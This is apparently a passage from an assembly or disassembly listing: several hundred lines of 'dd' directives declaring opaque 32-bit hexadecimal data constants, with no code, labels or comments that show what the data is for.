		dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh
		dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h,	9A2A8D23h
		dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh
		dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh
		dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h,	1112E77Dh
		dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch
		dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh
		dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch,	50FA55FDh
		dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh,	0E3AB61F0h
		dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh,	0BE009F69h
		dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch,	279D76F8h
		dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh
		dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h
		dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h
		dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h,	0BB43FE4Bh
		dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h,	0EB511ECDh
		dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h,	0E3794F73h
		dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh
		dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h,	0A1D8661Fh
		dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h,	3041C3EDh
		dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h
		dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh,	0D28697A1h
		dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h
		dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah
		dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch,	61D64ABDh
		dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h,	5FF926C0h
		dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h
		dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch,	98A1170Eh
		dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h
		dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h,	0DF91003Bh
		dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h
		dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h
		dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh
		dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h,	0A225ACC7h
		dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh,	24F54BECh
		dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h,	0B356FD3Ah
		dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh,	7ABA26C0h
		dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h,	958F476Ah
		dd 7EB45DA7h, 5ED6116h,	0F100FA1Ah, 871D15DBh, 0B414503Fh
		dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah,	0CC25EE98h
		dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh,	6E06AAB6h
		dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh
		dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh
		dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h
		dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh
		dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h
		dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h,	9335C57Ah
		dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h
		dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh
		dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh
		dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah
		dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh
		dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h
		dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh,	0F656E470h
		dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h
		dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh
		dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh
		dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h
		dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h,	6255A951h
		dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h
		dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh
		dd 71DC5D11h, 9121637h,	5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh
		dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h
		dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch
		dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h,	31AFBAAh
		dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh
		dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h,	3C110822h
		dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh
		dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh
		dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h
		dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh,	2115430h
		dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h,	80D641D4h
		dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h
		dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h,	0AC1C8273h
		dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh,	0EC733BD7h
		dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h
		dd 42F538D8h, 77C6F4Bh,	2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh
		dd 22E2FE99h, 1F470AC3h
		dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h
		dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h
		dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h
		dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h
		dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h,	53090BAAh
		dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h
		dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah
		dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h
		dd 0FE0097Bh, 446B528h,	0E5A27B37h, 0D575E303h,	0A06F7061h
		dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h
		dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh,	0DA32FF86h
		dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h
		dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh
		dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh
		dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh
		dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h
		dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh
		dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h
		dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh,	2BAD5510h
		dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h
		dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h
		dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h,	9C6806B9h
		dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h
		dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h,	0AD46C76Ah
		dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h,	0BC6177ADh
		dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h
		dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh
		dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh
		dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h
		dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh
		dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh
		dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h
		dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh
		dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh
		dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h
		dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh
		dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h
		dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h,	568C3A9Ah
		dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h
		dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh
		dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h
		dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh,	40D216F9h
		dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h
		dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h,	14B1D910h
		dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h,	487C0BBBh
		dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h
		dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch
		dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h,	0ED432832h
		dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h
		dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h,	958822C5h
		dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h,	7CEF499Ch
		dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh,	4CA85B13h
		dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h
		dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh,	0F378E5C3h
		dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh
		dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh
		dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh
		dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h
		dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh
		dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h
		dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh
		dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h
		dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h,	2D262ABFh
		dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch
		dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h
		dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h,	6C59C32Eh
		dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h
		dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h,	0EC6BD944h
		dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h
		dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h
		dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh
		dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh
		dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h
		dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h
		dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h
		dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh
		dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h,	86279056h
		dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh,	0B09946ECh
		dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh,	5EB1ABADh
		dd 6DD2E80h, 1B46AF94h,	6DD200F9h, 7DBE1BFEh, 9D94C5CFh
		dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h
		dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh
		dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h
		dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h
		dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h,	0A348B619h
		dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch,	6FD848C8h
		dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h
		dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h,	42A0DE16h
		dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch,	0C40D20D2h
		dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch,	0BFE8A1B8h
		dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah
		dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh
		dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h,	34CA3AA9h
		dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h,	98749CBh
		dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h,	0CC718E39h
		dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h
		dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h
		dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h,	55BFB124h
		dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh,	5FC263D5h
		dd 8DED98E1h, 3FD6E52h,	39AF2096h, 0D04DF73Ch, 28E5D371h
		dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h,	6A1CC17Fh
		dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h
		dd 7CBB07B2h, 7EBDFD30h
		dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h
		dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h
		dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h,	0C4CFD79Eh
		dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh
		dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h,	77ADDBE4h
		dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h
		dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h,	5BA435D4h
		dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh,	0B655F5E6h
		dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h
		dd 4D8E171h, 66F37DF9h,	6BED76FEh, 50AFD214h, 0BE7828CDh
		dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h,	0E0AAA0DCh
		dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h
		dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h,	0F6972B46h
		dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h,	0D54FCB83h
		dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh
		dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h,	1E6B03EFh
		dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh
		dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h
		dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh
		dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh
		dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h,	56C016FAh
		dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah
		dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh
		dd 75C7C11h, 66DF61C0h,	6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh
		dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h
		dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h
		dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh
		dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh,	7D1BB60Fh
		dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah,	0FCC995C7h
		dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh,	95315637h
		dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h,	95B852B2h
		dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h
		dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h,	6D8F4A57h
		dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h
		dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h,	0BFF300EDh
		dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h
		dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h,	47A5669Fh
		dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h
		dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h
		dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h
		dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h,	0A0BA5F69h
		dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh,	0DBAE67EAh
		dd 704D62Ah, 8B4CA667h,	7A6AECBh, 8FD0101Eh, 55378FF1h
		dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h,	4C94548Ah
		dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h
		dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh
		dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh
		dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah
		dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h
		dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h
		dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h
		dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh,	735C810h
		dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h
		dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h,	95C97F46h
		dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh,	2B73783Ch
		dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h
		dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh,	0A40DAFC3h
		dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h,	396F0094h
		dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h
		dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h
		dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h,	0F72D3F62h
		dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h,	13F0D06h
		dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h,	8725376Bh
		dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h,	3D518DDDh
		dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h
		dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h
		dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh
		dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h,	65B7B608h
		dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h
		dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh
		dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h
		dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch,	8F33B0E6h
		dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h
		dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h,	0FE0FFD40h
		dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h
		dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h,	60C5E27Ah
		dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h
		dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh,	0D0192513h
		dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh
		dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh,	0C78EB071h
		dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh
		dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h
		dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h,	810B4911h
		dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h
		dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h,	0A6C5F312h
		dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h
		dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h,	9493BD82h
		dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh
		dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h
		dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh,	45DB0A6Ah
		dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh
		dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h
		dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh
		dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh
		dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h
		dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch
		dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h
		dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h,	0E34BE7DEh
		dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h
		dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h,	0B77780F2h
		dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh,	0AF572ECBh
		dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h
		dd 12AA945Eh, 4FF0D18Eh
		dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h,	0CB660DC1h
		dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h
		dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h,	661C9572h
		dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh
		dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h,	4BC7AFB7h
		dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h
		dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h
		dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh
		dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h
		dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh
		dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh
		dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h
		dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah
		dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h
		dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h
		dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch,	17CA90D1h
		dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah,	0F662BD3h
		dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h
		dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh
		dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h
		dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh
		dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h,	9942F871h
